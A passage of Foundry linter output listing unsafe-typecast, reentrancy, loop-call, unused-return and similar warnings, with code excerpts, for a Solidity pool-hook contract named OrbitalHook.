src/OrbitalHook.sol:260:77\n    │\n260 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                                             ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:261:44\n    │\n261 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:261:59\n    │\n261 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:295:23\n    │\n295 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:295:58\n    │\n295 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:305:33\n    │\n305 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                 ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:305:40\n    │\n305 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:305:58\n    │\n305 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:305:65\n    │\n305 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                                 ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:306:34\n    │\n306 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:306:41\n    │\n306 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                         ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:306:59\n    │\n306 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                           ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:306:66\n    │\n306 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                                  ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:339:30\n    │\n339 │             x[j] += wadOut - rawOut * _scale[j]; // rounding dust stays in the pool\n    │                              ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:349:21\n    │\n349 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:349:29\n    │\n349 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:349:68\n    │\n349 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:349:76\n    │\n349 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                            ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `totalRadius` is updated\n    ╭▸ src/OrbitalHook.sol:483:13\n    │\n483 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:390:9\n    │\n390 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:391:9\n    │\n391 │         emit Deposit(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:377:45\n    │\n377 │             if (amounts[k] > maxAmounts[k]) revert SlippageExceeded();\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:390:9\n    │\n390 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `positions` is updated\n    ╭▸ src/OrbitalHook.sol:483:13\n    │\n483 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:450:9\n    │\n450 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:536:16\n    │\n536 │         return poolManager.balanceOf(address(this), uint256(uint160(_tokens[k])));\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:451:9\n    │\n451 │         emit Withdraw(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:434:38\n    │\n434 │             if (raw < minAmounts[k]) revert SlippageExceeded();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:450:9\n    │\n450 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:462:9\n    │\n462 │         poolManager.transferFrom(msg.sender, address(this), uint256(uint160(token)), amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:465:9\n    │\n465 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Redeem, account: to, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:466:9\n    │\n466 │         emit ClaimsRedeemed(msg.sender, token, amount, to);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:462:9\n    │\n462 │         poolManager.transferFrom(msg.sender, address(this), uint256(uint160(token)), amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:465:9\n    │\n465 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Redeem, account: to, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:483:13\n    │\n483 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:484:13\n    │\n484 │             emit FeesCollected(lp, levelId, amounts);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:483:13\n    │\n483 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:513:17\n    │\n513 │                 poolManager.sync(c);\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n     ╭▸ src/OrbitalHook.sol:1043:39\n     │\n1043 │         (bool ok, bytes memory ret) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, amount)); // transferFrom\n     │                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:515:17\n    │\n515 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:516:17\n    │\n516 │                 poolManager.mint(address(this), c.toId(), amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:522:21\n    │\n522 │                 try poolManager.take(c, data.account, amount) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:523:21\n    │\n523 │                     poolManager.burn(address(this), c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:526:21\n    │\n526 │                     poolManager.transfer(data.account, c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:527:21\n    │\n527 │                     emit ClaimsDelivered(data.account, _tokens[k], amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1044:93\n     │\n1044 │         if (!ok || (ret.length != 0 && !abi.decode(ret, (bool))) || token.code.length == 0) revert TransferFailed();\n     │                                                                                             ━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:525:55\n    │\n525 │                     if (data.action == Action.Redeem) revert TransferFailed();\n    │                                                       ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:515:17\n    │\n515 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:526:21\n    │\n526 │                     poolManager.transfer(data.account, c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:563:26\n    │\n563 │     function setGuardian(address _guardian) external onlyOwner {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:684:17\n    │\n684 │         return (uint8(a - 1), uint8(b - 1));\n    │                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:684:31\n    │\n684 │         return (uint8(a - 1), uint8(b - 1));\n    │                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:731:24\n    │\n731 │         return found ? int256(lv[top].kNorm) : type(int256).max;\n    │                        ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:768:60\n    │\n768 │             boundary = _position(lv, boundaryMask, s, c) > int256(lv[l].kNorm);\n    │                                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:801:24\n    │\n801 │         int256 along = int256(kNorm * radius / sqrtN); // k·r/√N per coin\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:802:21\n    │\n802 │         int256 sr = int256(sNorm * radius / WAD);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:805:43\n    │\n805 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:805:59\n    │\n805 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:805:80\n    │\n805 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                                                                ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:806:30\n    │\n806 │             v[k] = val > 0 ? uint256(val) : 0;\n    │                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/OrbitalHook.sol:827:17\n    │\n827 │                 uu += uint256(u[k] * u[k]);\n    │                 ━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:822:29\n    │\n822 │             int256 xBound = int256(c.kb * WAD / sqrtN);\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:823:46\n    │\n823 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                              ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:823:62\n    │\n823 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                              ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:823:79\n    │\n823 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:823:93\n    │\n823 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                                                             ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're 